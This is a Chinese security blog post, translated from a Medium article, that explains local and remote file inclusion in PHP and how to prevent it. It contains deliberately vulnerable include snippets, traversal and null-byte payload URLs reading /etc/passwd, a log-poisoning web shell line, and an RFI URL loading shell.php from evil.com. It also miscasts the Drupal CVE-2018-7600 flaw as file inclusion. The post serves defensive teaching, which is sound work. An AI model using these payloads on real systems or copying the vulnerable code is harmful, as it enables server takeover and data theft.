白帽故事 · 2025年3月19日 0

理解文件包含漏洞

前言

文件包含漏洞是一种常见的网络安全问题,攻击者可以利用该漏洞操纵文件路径,从而访问、读取或执行服务器上未经授权的文件,这些漏洞主要存在于根据用户输入动态包含文件的 Web 应用程序中,通常不会进行适当的验证。

文件包含攻击可能导致:

  • 未经授权访问敏感文件(如配置文件、日志或用户凭据)
  • 远程代码执行 (RCE),导致整个系统受到危害
  • Webshel​​l 上传,实现对服务器的持久访问

本文我们将深入探讨本地文件包含(LFI)远程文件包含(RFI) ,并提供真实案例、攻击技术和最佳实践。

文件包含攻击的类型

本地文件包含(LFI)

当攻击者包含来自本地服务器的文件、暴露系统文件或执行恶意脚本时,就会发生 LFI

例如,一个存在漏洞的 PHP 脚本:

<?php  
$page = $_GET['file'];  
include($page);  
?>

如果用户访问:

http://example.com/index.php?file=home.php

该应用程序包含home.php,但是,假如攻击者输入:

http://example.com/index.php?file=/etc/passwd

服务器将包含并打开/etc/passwd ,从而显示系统用户信息。

常见的 LFI 漏洞

  • /etc/passwd (Linux 用户列表)
  • C:\Windows\win.ini (Windows 系统设置)
  • ../../../var/www/html/config.php (敏感应用程序文件)

日志投毒,实现远程代码执行

如果应用程序记录用户输入(例如日志中的User-Agent ),攻击者可以注入 PHP 代码并通过 LFI 执行它。

示例:在日志中注入 Web Shell:

<?php system($_GET['cmd']); ?>

然后使用LFI执行:

http://example.com/index.php?file=/var/log/apache2/access.log&cmd=whoami

远程文件包含(RFI)

RFI 允许攻击者从外部服务器包含并执行脚本,从而导致远程代码执行 (RCE)。

如下存在漏洞的 PHP 脚本:

<?php  
$file = $_GET['page'];  
include($file);  
?>

如果攻击者提供了远程文件:

http://example.com/index.php?page=http://evil.com/shell.php

这将从evil.com下载并执行shell.php ,从而使攻击者控制服务器。

现实中的 RFI 攻击

  • 攻击者将恶意脚本上传到远程服务器并使用RFI执行
  • 这为持续控制提供后门

恶意软件分发

攻击者可以包含并执行恶意脚本(例如勒索软件、僵尸网络)

破坏及数据窃取

攻击者可以通过注入脚本替换网站内容或窃取敏感数据。

实践中利用文件包含漏洞

许多 LFI 漏洞允许目录遍历,这意味着攻击者可以访问目标目录之外的文件:

http://example.com/index.php?file=../../../../etc/passwd

这将通过向上不断移动多个目录来最终访问到系统文件。

绕过安全过滤器

某些应用程序会限制 LFI 尝试,但攻击者可以使用以下方法绕过这些保护:

空字节注入( **%00** 

一些服务器会忽略空字节( %00 )后的输入,从而允许攻击者包含没有扩展名的文件,比如:

http://example.com/index.php?file=/etc/passwd%00

编码技术

攻击者还可以使用URL 编码、 Base64 编码双重编码来绕过过滤器,比如:

http://example.com/index.php?file=%2Fetc%2Fpasswd

日志投毒(如前所述)

将 PHP 代码注入日志文件,然后使用 LFI 执行它。

真实案例

Drupal 文件包含漏洞(CVE-2018-7600)

Drupal 中存在一个漏洞,允许 LFI 攻击,使攻击者能够执行任意 PHP 代码。这导致数百万个网站遭到黑客攻击。

NASA 的 Web 应用程序通过 LFI 遭到黑客攻击

黑客利用 NASA 网络应用程序中的 LFI 漏洞访问内部文件和凭证,导致数据被盗。

缓解及预防措施

使用绝对文件路径

避免从用户输入中包含动态文件。请改用绝对路径。

白名单策略

仅允许包含特定文件(例如, home.php , contact.php )。

禁用allow_url_include

通过在php.ini中设置allow_url_include=0来防止 RFI。

过滤并验证用户输入

使用basename()和正则表达式来限制文件输入,比如:

<?php   $allowed_files = ['home.php', 'about.php'];   if (in_array($_GET['file'], $allowed_files)) {       include($_GET['file']);   } else {       die("Access Denied!");   }   ?>

用 Web 应用程序防火墙(WAF)

WAF 通常可以检测并阻止 LFI/RFI 尝试。

强化并持续监控

  • 定期检查日志是否有异常
  • 限制日志访问权限。

结论

文件包含漏洞是严重的安全威胁,可能导致数据泄露、远程代码执行和整个服务器被入侵。但是,通过了解它们的工作原理并实施安全编码实践,开发人员可以有效地减轻这些风险。

你学到了么?

以上内容由骨哥翻译并整理。

原文:https://cyberw1ng.medium.com/understanding-file-inclusion-vulnerabilities-a-practical-guide-25a22c461c2b